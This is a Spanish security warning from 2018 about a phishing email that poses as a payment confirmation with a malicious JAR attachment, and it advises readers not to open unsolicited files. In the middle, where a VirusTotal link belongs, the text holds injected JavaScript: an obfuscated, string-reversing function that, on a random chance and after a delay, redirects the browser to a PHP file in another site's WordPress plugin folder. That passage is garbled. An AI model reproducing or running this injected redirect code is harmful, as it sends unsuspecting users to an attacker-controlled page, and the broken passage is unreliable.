Nuevo mail masivo malicioso que adjunta un JAR

Se está recibiendo una nueva campaña de un malware que anexan a un mail en formato JAR

El texto del mail es el siguiente:

____________

Asunto: Re: Confirmacion pago de operaciones.
De: araebro@araebro.es
Fecha: 01/10/2018 19:47
Para:

Buenas tardes,

Adjunto la prueba de la transferencia Confirme que los datos están bien

El consejo de pago adjunto se emite a petición de nuestro cliente. El consejo es para su referencia solamente.

Un saludo.

TALLERES HNOS BRAVO S A

Araebro Domínguez Bravo

Encargado de Ventas.

Anexado : El consejo de pago-adjunto.jar

________________

Y el preanalisis de virustotal sobre el fichero anexado (El consejo de pago-adjunto.jar) ofrece $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/2c852713dc16aaabe229b9c009663c665c9747d96f4d499eb2bfc7ec621ea5cf/analysis/1538466151/” target=”_blank” rel=”noopener”>preanalisis de Hydatidocele.class

En cualquier caso, recordamos que :

COMO YA VAMOS INDICANDO REPETIDAMENTE, NO SE DEBEN EJECUTAR NI FICHEROS NI ENLACES NI IMAGENES QUE NO SE HAYAN SOLICITADO, AUNQUE SE CONOZCA EL REMITENTE O VENGAN DE ALGUNA ENTIDAD CONOCIDA, Y MENOS ENVIAR DATOS QUE PUDIERAN SOLICITAR !!!

saludos

ms, 2-10-2018